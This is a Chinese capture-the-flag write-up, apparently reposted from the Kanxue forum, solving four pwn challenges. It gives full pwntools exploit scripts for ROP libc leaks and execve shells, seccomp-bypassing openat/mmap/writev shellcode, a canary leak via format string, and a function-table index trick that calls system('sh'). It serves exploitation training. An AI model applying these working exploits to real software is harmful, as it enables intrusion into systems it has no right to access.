PWN 赛题解析
2024-7-30 17:44:14 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏


stdout

问题

main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

init(argc, argv, envp);
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}

vuln函数:

ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x200uLL);
}

init函数:

int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}

一开始的思路是main函数栈溢出劫持至vuln函数,vuln函数栈溢出调用puts得到libc地址,但是setvbuf(stdout, 0LL, 0, 0LL);无法得到回显。

再者的思路是ret2csu,但是无法控制rcx第四个参数致使setvbuf报错,行不通。

解决办法

关键是init函数,setvbuf(stdout, 0LL, 0, 0LL)标准输出全缓冲,即缓冲区被填满才会进行i/o操作。

int init()
{
;
return setvbuf(stdin, 0LL, 2, 0LL);
}

刷新缓冲区的方法:

1.填满缓冲区后会刷新

2.exit退出会刷新缓冲区

3.调用fflush函数

4.流被关闭(调用fclose

在这道题中,我们采用第一种方式进行i/o操作,即重复多次调用extend函数填满缓冲区。

from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
libc = ELF('./libc-2.31.so')

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

vuln = 0x40125D
extend = 0x401287
puts_plt = 0x4010B0
read_got = 0x404028
pop_rdi_ret = 0x00000000004013d3

payload = b'a'*0x58 + p64(vuln)
s(payload)

#gdb.attach(p,'b *0x40127F')
#pause()

p2 = b'a'*0x28 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +p64(extend) + p64(vuln)
s(p2)

#gdb.attach(p,'b *0x40127F')
#pause()

#重复调用extend函数填满缓冲区
for i in range(20):
p3 = b'b'*0x28 + p64(extend) + p64(vuln)
s(p3)

#p3 = b'a'*0x28 + p64(extend) + p64(vuln)
#s(p3)
p.recvuntil(b'\n')
libcbase = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log.success('libcbase ==> ' + hex(libcbase))
p.recv()

sys=libc.symbols['execve']+libcbase
sh=next(libc.search(b'/bin/sh'))+libcbase

#gdb.attach(p,'b *0x40127F')
#pause()

ret = 0x000000000040101a
pop_rsi_r15 = 0x00000000004013d1
pop_rdx_ret = 0x0000000000142c92 + libcbase
p4 = b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) +p64(pop_rsi_r15)+ p64(0)+ p64(0) +p64(pop_rdx_ret)+ p64(0)+p64(sys)
s(p4)
p.interactive()


Shuffled_Execution

使用带有\x00的汇编指令绕过strlen,我使用的是mov esi,0机器码为\xbe\x00\x00\x00\x00(小端序)。

沙箱禁用了许多系统调用,具体如下:

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

寻常的orw无法使用,这里我采用的是openat,mmap,writev来读取flag。

函数原型

openat

ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);

函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。另外3个参数与open参数相同。openat的返回值与open相同,都是当前正未使用的最小的文件描述符值。

mmap

long sys_mmap(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, off_t pgoff)
;

对于Linux系统调用,6个参数的传递寄存器分别为rdirsirdxr10r8r9。与Glibc的传参有所不同。

内核的mmap函数的flag参数和glibc的不太一样,0x10表示映射文件MAP_FILE,0x2表示私有映射MAP_PRIVATE,0x20表示匿名映射MAP_ANONYMOUS。这里需要使用MAP_FILE | MAP_PRIVATE才能完成映射。

writev

ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

fd: 文件描述符,表示要写入的文件、管道或网络套接字。

iov: 指向iovec结构数组的指针,每个iovec结构包含一个缓冲区和其长度。

iovcnt:iovec结构的数量。

iovec结构体:

struct iovec {
void *iov_base; // 指向数据缓冲区的指针
size_t iov_len; // 缓冲区的长度
};

solve

思路是绕过strlen直接写shellcode。

直接在栈上写writev第二个参数(结构体指针)的*iov_base和iov_len,主要是直接通过汇编操作就像下面的示例,会报错(不清楚原因)。

push 0x100   
lea rbx, [rsp+8]
push rbx
mov rsi, rsp

脚本:

from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

mov_esi_0=b'\xbe\x00\x00\x00\x00'
p.recv()

shell = '''
mov rsp,0x1338000
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall

push 1
pop rdi
push 0x1 /* iov size */
pop rdx
mov rsi, 0x1337070
push SYS_writev
pop rax
syscall
'''

#gdb.attach(p)
#pause()
payload= mov_esi_0+asm(shell)
payload = payload.ljust(0x70,b'\x90')
#栈上写参数
payload+= p64(0x10000) + p64(0x100)
s(payload)

p.interactive()


SavethePrincess

随机数绕过

随机数生成范围为a-z:

 for ( i = 0; i <= 7; ++i )
love[i] = rand() % 26 + 97;

buf数组和字符i内存区域相邻,当buf数组填满会将字符i打印出来,通过泄露的字符i爆破随机数。

单字节爆破,最多爆破26*8=208次,下面是我写的爆破脚本。

key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
data = ''
num = 0

while True:
sla(b'> \n', b'1')
sa(b'please input your password: \n', ''.join(key))
p.recv(26)
data = ord(p.recv(1))
log.success(data)

if (data == num + 1):
num += 1

elif (data == 112):
key_list = ''.join(key)
log.success(key_list)
break

else:
key[num] = chr(ord(key[num])+1)

流程

接下来就是格式化字符串泄露stack和libc,进challenge函数打栈溢出。

先看一眼沙箱,发现又把常见的orw禁用掉了,无法调用read写bss段,所以我选择打栈。

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0013
0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013
0008: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0013
0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013
0010: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

先用mprotect函数给栈段开权限,注意的是mprotect的第一个参数需要内存页对齐(0x1000),然后接上shellcode,openat,mmap,write打出flag。

from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
libc = ELF('./libc.so.6')

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
data = ''
num = 0

while True:
sla(b'> \n', b'1')
sa(b'please input your password: \n', ''.join(key))
p.recv(26)
data = ord(p.recv(1))
log.success(data)

if (data == num + 1):
num += 1

elif (data == 112):
key_list = ''.join(key)
log.success(key_list)
break

else:
key[num] = chr(ord(key[num])+1)

#gdb.attach(p, 'b *$rebase(0x166A)')
#pause()

sa(b'ower!!!\n', b'%10$p'+b'%15$p'+b'%9$p')
stack = int(p.recv(14), 16)
libcbase = int(p.recv(14), 16) - 0x29d90
canary = int(p.recv(18), 16)
stack_base = int(str(hex(stack))[0:11] + '000', 16)

log.info('stack => '+ hex(stack))
log.info('libcbase => ' + hex(libcbase))
log.info('canary => ' + hex(canary))
log.info('stack_base => ' + hex(stack_base))

#gdb.attach(p, 'b *$rebase(0x170B)')
#pause()

#bss = pie + 0x4320
#start = 0x4000 + pie
pop_rdi_ret = 0x000000000002a3e5 + libcbase
pop_rsi_ret = 0x000000000002be51 + libcbase
pop_rdx_r12_ret = 0x000000000011f2e7 + libcbase
mprotect = libc.symbols['mprotect'] + libcbase
#read = libc.symbols['read'] + libcbase
leave_ret = 0x000000000004da83 + libcbase

shellcode ='''
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall

mov rdi, 1
mov rsi,0x10000
mov rdx,0x40
push SYS_write
pop rax
syscall

'''

payload = b'a'*0x38 + p64(canary) + p64(stack) + p64(pop_rdi_ret) + p64(stack_base)
payload+= p64(pop_rsi_ret) + p64(0x20000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0)
payload+= p64(mprotect) + p64(stack + 0x30) + asm(shellcode)
sla(b'> \n', b'2')
sa(b'dragon!!\n', payload)

p.interactive()


spiiill

分析

首先看一眼程序逻辑,发现是菜单。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-4834h] BYREF
char s[2096]; // [rsp+4h] [rbp-4830h] BYREF
char v5; // [rsp+834h] [rbp-4000h] BYREF
__int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF

while ( v6 != (__int64 *)&v5 )
;
v6[511] = __readfsqword(0x28u);
Init(a1, a2, a3);
memset(s, 0, 0x4828uLL);
while ( 1 )
{
while ( 1 )
{
puts("Give me your choice: ");
__isoc99_scanf("%d", &v3);
if ( v3 != 4 )
break;
Bye();
}
if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
Choice((__int64)s);
break;
case 1:
sandbox();
break;
case 2:
Read((__int64)s);
break;
}
}
}
}

Read函数看一看,是向栈上地址写入0x400字节:

ssize_t __fastcall sub_1DE2(__int64 a1)
{
puts("see you");
return read(0, (void *)(a1 + 0x808), 0x400uLL);
}

重点来了,Choice函数中会进行((void (__fastcall *)(__int64))choice[v3])(a1)指针操作,看一下choice里的内容。

int __fastcall sub_1CFB(__int64 a1)
{
__int64 v1; // rax
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

while ( 1 )
{
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8);
if ( v3 > 11 )
break;
((void (__fastcall *)(__int64))choice[v3])(a1);
}
return printf("Unknown instruction %zu\n", v3);
}

可以看到choice里存放着函数指针:

这下Choice函数的功能就清楚了,通过v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8);获得下标的值,就可以调用choice里的函数。

下标为12的是vuln函数,存在system函数,同时获取(*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)里的数据作为参数。

int __fastcall vuln(__int64 a1)
{
__int64 v1; // rax

v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 256) + 8) + 0x502LL) + a1));
}

思路

分析完毕,这时我的思路是调用Read函数向栈上写入12,再调用Choice函数进到vuln函数,但是Choice函数对v3进行了检查,v3不能大于11,所以这条道路行不通

继续逆向,发现choice里存在类似Choice的函数,命名为re_choice。

__int64 __fastcall sub_1B20(__int64 a1)
{
__int64 v1; // rax
__int64 v3; // [rsp+18h] [rbp-8h]

v3 = *(_QWORD *)(a1 + 0x2808) + 1LL;
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
((void (__fastcall *)(__int64))choice[*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)])(a1);
return overflow(a1, v3);
}

接下来就清楚了

1.调用Read向栈上写入下标

2.调用Choice函数进而re_choice

3.通过re_choice进入vuln

通过gdb调试,可以知道Choice函数中v1 == 0, *(a1 + 0x2808) == 1, v3 == *(a1 + 0x808)。接下来再re_choice中v3 == 2, v1 == 1, *(a1 + 0x2808) == 2,所以只需发送p64(0xa) + p64(0xc)即可进入vuln。vuln中v1 == 2, *(a1 + 0x2808) == 3, *(a1 + 8 * (v1 + 256) + 8) == *(a1 + 0x818),即system(0x2810 + 8 * (*(a1 + 0x818)) + a1)所以只要使0x2810 + 8 * (*(a1 + 0x818)) == 0x820即可在*(a1 + 0x820)处写sh并完成调用,可以计算出*(a1 + 0x818) == 0xfffffffffffffc02时上溢为0x820。

from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

def choice():
sla(b'Give me your choice: \n', b'3')

def Read(num):
sla(b'Give me your choice: \n', b'2')
sa(b'see you\n',num)

#gdb.attach(p, 'b *$rebase(0x1C78)')
#pause()

Read(p64(0xa)+p64(0xc)+p64(0xfffffffffffffc02)+b'sh\x00')
choice()

p.interactive()

看雪ID:waddle

https://bbs.kanxue.com/user-home-996144.htm

*本文为看雪论坛优秀文章,由 waddle 原创,转载请注明来自看雪社区

# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458565345&idx=1&sn=78d2e99e3ff2ab0578132c1dbb67d5ca&chksm=b18d8a6b86fa037ddf1567e5c9a9a7a9d50a68951fcd7b7108e68c96d3d80fa0a40b78353652&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh